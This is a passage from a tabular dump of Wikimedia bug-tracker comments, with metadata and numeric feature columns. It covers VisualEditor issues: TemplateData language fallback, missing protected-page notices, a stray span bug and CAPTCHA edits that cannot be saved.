}",,,1374856866,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,2.5,0.0,0.0,0.5,0.5,1.0,0.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,7.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,3.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,8.0,0.5,1.0,3.5,0.0,0.0,0.0,0.5,3.0,0.5,1.0,0.0,0.5,7.5,5.0,0.0,21.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.82967032967033,0.4835164835164835,"(In reply to comment #5)
QUOTE

So you'll need to prepare for some interface design to tell users that ""Some text written in English"" and ""Some other text written in Spanish"" lines are not in pt.

And the format of JSON needs to be modified to include this info. Like:

{
    ""pages"": {
        ""1467239"": {
            ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
            ""description"": {
                ""pt"": { ""value"": ""Some text written in English"", ""language"": ""en"" }
            },
            ""params"": {
                ""t\u00edtulo"": {
                    ""label"": {
                        ""pt"": { ""value"": ""Some other text written in Spanish"", ""language"": ""es"" }
                    },
                    ...
            }
            ...
     }
}"
238821,TemplateData: Process language fallback and conversion server-side,"So I'm not too Wikidata-savvy, but it seems this patch might be useful (if it's not, ignore me and carry on):

https://gerrit.wikimedia.org/r/72867

Right now there is no way to determine the real language of a message from the CDB cache. That patch changes this.",,,1374856762,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,11.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,12.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,9.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.5,0.8571428571428571,"So I'm not too Wikidata-savvy, but it seems this patch might be useful (if it's not, ignore me and carry on):

GERRIT_URL

Right now there is no way to determine the real language of a message from the CDB cache. That patch changes this."
238815,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #4)
> (In reply to comment #2)
> > API call should ideally specify the fall-back language chain and return just
> > one set for clients (so the weight is on the server).
> 
> Do we care about the real language info of a label.

We don't, but users on multi-lingual wikis will if we send them 1 MiB of descriptions of a template when they only care about 2 KiB worth of the contents. :-)

> That is, is this fine?
> 
> {
>     ""pages"": {
>         ""1467239"": {
>             ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
>             ""description"": {
>                 ""pt"": ""Some text written in English""
>             },
>             ""params"": {
>                 ""t\u00edtulo"": {
>                     ""label"": {
>                         ""pt"": ""Some other text written in Spanish""
>                     },
>                     ...
>             }
>             ...
>      }
> }

Fine technically - I think users would be upset and confused.",,,1374856587,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,1.0,0.5,2.5,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,2.0,0.0,2.5,4.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,2.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,1.0,1.0,24.5,1.0,1.5,1.0,0.0,1.0,0.0,0.5,1.5,0.0,1.5,0.0,3.0,4.0,18.5,0.0,0.0,0.0,3.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,3.2830188679245285,0.5566037735849056,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We don't, but users on multi-lingual wikis will if we send them 1 MiB of descriptions of a template when they only care about 2 KiB worth of the contents. :-)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Fine technically - I think users would be upset and confused."
238807,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #2)
> API call should ideally specify the fall-back language chain and return just
> one set for clients (so the weight is on the server).

Do we care about the real language info of a label.

That is, is this fine?

{
    ""pages"": {
        ""1467239"": {
            ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
            ""description"": {
                ""pt"": ""Some text written in English""
            },
            ""params"": {
                ""t\u00edtulo"": {
                    ""label"": {
                        ""pt"": ""Some other text written in Spanish""
                    },
                    ...
            }
            ...
     }
}",,,1374856405,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,1.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,7.0,0.0,0.0,3.5,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.5,3.5,5.0,0.5,16.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,4.216684294024326,0.519169751454257,"(In reply to comment #2)
QUOTE
QUOTE

Do we care about the real language info of a label.

That is, is this fine?

{
    ""pages"": {
        ""1467239"": {
            ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
            ""description"": {
                ""pt"": ""Some text written in English""
            },
            ""params"": {
                ""t\u00edtulo"": {
                    ""label"": {
                        ""pt"": ""Some other text written in Spanish""
                    },
                    ...
            }
            ...
     }
}"
238799,TemplateData: Process language fallback and conversion server-side,"Falling back to (LanguageConverter)-converted labels is needed too.

It seems my LanguageFallbackChain and related classes (currently in Wikibase) is useful here again.",,,1374150699,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.285714285714286,0.8928571428571429,"Falling back to (LanguageConverter)-converted labels is needed too.

It seems my LanguageFallbackChain and related classes (currently in Wikibase) is useful here again."
238791,TemplateData: Process language fallback and conversion server-side,API call should ideally specify the fall-back language chain and return just one set for clients (so the weight is on the server).,,,1372535404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9285714285714286,API call should ideally specify the fall-back language chain and return just one set for clients (so the weight is on the server).
238785,TemplateData: Process language fallback and conversion server-side,"For the record, the data returned by the API has all the information, but it is in the ""pt"" properties:
https://pt.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Predefini%C3%A7%C3%A3o%3Arefer%C3%AAncias
E.g.:
{
    ""pages"": {
        ""1467239"": {
            ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
            ""description"": {
                ""pt"": ""Produz o t\u00edtulo da se\u00e7\u00e3o de refer\u00eancias e impede que seja edit\u00e1vel""
            },
            ""params"": {
                ""t\u00edtulo"": {
                    ""label"": {
                        ""pt"": ""T\u00edtulo da se\u00e7\u00e3o""
                    },
                    ...
            }
            ...
     }
}",,,1372535216,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,2,False,,,-1,,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,4.5,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,2.5,7.5,0.0,17.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.60483870967742,0.49193548387096775,"For the record, the data returned by the API has all the information, but it is in the ""pt"" properties:
URL
E.g.:
{
    ""pages"": {
        ""1467239"": {
            ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
            ""description"": {
                ""pt"": ""Produz o t\u00edtulo da se\u00e7\u00e3o de refer\u00eancias e impede que seja edit\u00e1vel""
            },
            ""params"": {
                ""t\u00edtulo"": {
                    ""label"": {
                        ""pt"": ""T\u00edtulo da se\u00e7\u00e3o""
                    },
                    ...
            }
            ...
     }
}"
52415,VisualEditor: Protected page warning messages are missing,"VE is missing the red ""semi-protected page"" box seen at
http://en.wikipedia.org/w/index.php?title=Muscle&action=edit and probably also the equivalent one for administrators on fully protected pages.

They should be displayed as a ""notice"".

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51215",High,80.0,1372489200,1373498492.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-ndmy33qu6brquwrr27nw,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,1.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,12.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.588235294117647,0.6323529411764706,"VE is missing the red ""semi-protected page"" box seen at
URL and probably also the equivalent one for administrators on fully protected pages.

They should be displayed as a ""notice"".

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
237798,VisualEditor: Protected page warning messages are missing,This is now fixed in master and we will push to production very soon. Sorry for the inconvenience.,,,1373497562,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,0.95,This is now fixed in master and we will push to production very soon. Sorry for the inconvenience.
237794,VisualEditor: Protected page warning messages are missing,"Change 73022 merged by jenkins-bot:
Add protected & semiprotected notices to api.

https://gerrit.wikimedia.org/r/73022",,,1373497150,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,1.0,"Change 73022 merged by jenkins-bot:
Add protected & semiprotected notices to api.

GERRIT_URL"
237789,VisualEditor: Protected page warning messages are missing,"Change 73022 had a related patch set uploaded by Robmoen:
Add protected & semiprotected notices to api.

https://gerrit.wikimedia.org/r/73022",,,1373487840,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,1.0,"Change 73022 had a related patch set uploaded by Robmoen:
Add protected & semiprotected notices to api.

GERRIT_URL"
237784,VisualEditor: Protected page warning messages are missing,"(In reply to comment #3)
> The edit box of a protected page also uses a pick background.  That is
> missing
> from VE.

No, this is enwiki's local CSS: [[MediaWiki:Group-sysop.css]] needs to be updated. I will file an edit request.",,,1372914263,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,7.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,3.0,0.8,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

No, this is enwiki's local CSS: [[MediaWiki:Group-sysop.css]] needs to be updated. I will file an edit request."
237777,VisualEditor: Protected page warning messages are missing,The edit box of a protected page also uses a pick background.  That is missing from VE.,,,1372913884,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,15.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,3.55,0.9,The edit box of a protected page also uses a pick background.  That is missing from VE.
237771,VisualEditor: Protected page warning messages are missing,"This also applies to things like BLP warnings, mind; non-page-specific warnings generally seem to get cut off.",,,1372751625,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.875,"This also applies to things like BLP warnings, mind; non-page-specific warnings generally seem to get cut off."
237763,VisualEditor: Protected page warning messages are missing,"In sequencing, this should probably be above everything except the not-applicable anon warning (so anon warning > protected > editing old > page notices). Maybe we need a more formal ordering?",,,1372614070,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,2,True,,,-1,,0.0,3.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,8.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,5.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,5.0,4.2631578947368425,0.8947368421052632,"In sequencing, this should probably be above everything except the not-applicable anon warning (so anon warning > protected > editing old > page notices). Maybe we need a more formal ordering?"
52392,<span> floats out of a table(?),"Possibly related to Bug 49892, VE is inserting random <span> parameters.  

See:
https://en.wikipedia.org/w/index.php?title=Ruger_P_series&diff=next&oldid=560801075

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372450980,1373061530.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-fmgdk7zrdnkog3djzdrc,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.8157894736842106,0.7105263157894737,"Possibly related to Bug 49892, VE is inserting random <span> parameters.  

See:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
236534,<span> floats out of a table(?),"That diff is from before we deployed the fix in 49892.  And, the oldid html is probably coming from the cache.  So, once cache is purged, this should go away.  Closing this.  Please reopen if still an issue.",,,1373061530,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fmgdk7zrdnkog3djzdrc,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,10.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,10.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.4,0.68,"That diff is from before we deployed the fix in 49892.  And, the oldid html is probably coming from the cache.  So, once cache is purged, this should go away.  Closing this.  Please reopen if still an issue."
236529,<span> floats out of a table(?),"I can reproduce this against current production VisualEditor/Parsoid on that oldid but not the current id. I'm presuming that this is a Parsoid bug, but not sure of the severity.",,,1373057068,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fmgdk7zrdnkog3djzdrc,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,6.0,11.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,14.0,3.0,6.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,11.0,11.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.138888888888889,0.7777777777777778,"I can reproduce this against current production VisualEditor/Parsoid on that oldid but not the current id. I'm presuming that this is a Parsoid bug, but not sure of the severity."
52356,VisualEditor: Edits triggering CAPTCHA cannot be saved,"On a CAPTCHA-triggering edit, VE does not display the CAPTCHA, instead showing an alert:

Error saving data to server: Failed request: error.

Marking critical, because VE is in use by 50% of new users at enwiki, none of whom are now able to add external links for sourcing purposes.

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1372413660,1372582072.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-lsxohsnqwom7fu46vsrm,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,1.0,7.0,2.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,12.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,6.0,0.0,0.0,0.0,3.8395061728395063,0.7160493827160493,"On a CAPTCHA-triggering edit, VE does not display the CAPTCHA, instead showing an alert:

Error saving data to server: Failed request: error.

Marking critical, because VE is in use by 50% of new users at enwiki, none of whom are now able to add external links for sourcing purposes.

--------------------------
**Version**: unspecified
**Severity**: critical"
234234,VisualEditor: Edits triggering CAPTCHA cannot be saved,[[mw:Thread:Extension talk:VisualEditor/VE and ConfirmEdit]],,,1395111940,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.5625,0.75,[[mw:Thread:Extension talk:VisualEditor/VE and ConfirmEdit]]
234228,VisualEditor: Edits triggering CAPTCHA cannot be saved,This is now fixed in master and will be deployed on Monday.,,,1372582072,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,1.0,This is now fixed in master and will be deployed on Monday.
234221,VisualEditor: Edits triggering CAPTCHA cannot be saved,"Change 71160 merged by jenkins-bot:
mw: Implement support for ConfirmEdit and FancyCaptcha

